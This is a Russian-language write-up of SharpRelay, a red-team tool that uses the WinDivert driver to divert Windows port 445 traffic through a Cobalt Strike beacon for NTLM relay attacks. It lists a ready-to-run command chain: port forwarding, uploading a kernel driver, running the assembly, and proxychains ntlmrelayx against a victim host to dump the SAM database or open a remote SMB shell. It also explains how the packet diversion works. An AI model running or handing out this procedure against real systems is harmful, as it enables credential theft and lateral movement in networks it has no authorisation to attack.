
Инструмент на C#, использующий драйвер WinDivert для перехвата и перенаправления трафика порта 445 Windows для атак NTLM relay через Cobalt Strike, что позволяет осуществлять горизонтальное перемещение и сбор учетных данных в операциях red team.
Единственное требование для работы этой атаки — наличие бикона с правами локального администратора или возможность загружать драйверы. Атака с использованием SharpRelay работает следующим образом:
rportfwd для перенаправления порта 8445 скомпрометированного хоста на порт 445 нашего teamserver.Следующие примеры команд можно выполнить из Cobalt Strike для выполнения этих действий:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
Когда все вышеперечисленное выполнится успешно, вам нужно запустить ваш relay-сервер (настройте proxychains на порт, указанный в приведенных выше командах, например 4444):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
Приведенная выше команда дампует базу данных SAM с хоста жертвы. Также возможно получить интерактивную SMB-оболочку и удаленно выполнять команды на жертве.
SharpRelay был протестирован на Win10 x64.
Если вы хотите собрать инструмент из исходного кода, выполните следующие действия:
Вышеуказанные инструкции были протестированы с помощью Visual Studio 2019.
SharpRelay основан на драйвере WinDivert. Согласно его описанию, WinDivert — это драйвер режима ядра, который позволяет перехватывать и модифицировать пакеты в пользовательском режиме. Пользователь должен указать фильтр, и любые пакеты, соответствующие этому фильтру, будут перехвачены и могут быть изменены.
Из файла ReadMe:
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
Для нас самое важное, что позволяет делать WinDivert, — это перехватывать трафик, идущий к открытому порту Windows, и перенаправлять его на другой порт, изменяя исходный и конечный порты TCP каждого пакета, пересчитывая контрольные суммы TCP и повторно внедряя пакеты в сетевой стек.
В Windows порт 445 всегда запущен по умолчанию. Я не буду вдаваться в подробности процесса использования порта 445, поскольку это уже проанализировано в следующей статье, поэтому, пожалуйста, прочитайте её:
В вышеуказанной статье также содержится еще одна интересная идея. Использование WinDivert для выполнения атаки SMB-ретрансляции через Metasploit. Вы можете загрузить несколько DLL и файл драйвера на целевой хост вместе с divertTCPconn.exe и выполнить их. Я нашел эту атаку потрясающей, но мне не понравилось, что приходится загружать несколько DLL на целевой хост.
Поэтому моей целью было выполнить ту же атаку, оставляя минимальное количество файлов на диске, а также выполняя атаку через Cobalt Strike.
Прежде всего, я хотел использовать функцию execute-assembly из Cobalt Strike, поэтому решил написать свой код на .NET framework. Первоначально я думал переписать divertTCPconn на C#, и тогда всё заработает. Оказалось, что это очень сложно. К счастью, я нашел следующий пакет NuGet, написанный TechnikEmpire:
Используя WinDivertSharp, я смог написать SharpRelay для загрузки драйвера путем создания службы и взаимодействия с драйвером WinDivert для выполнения любых необходимых модификаций пакетов.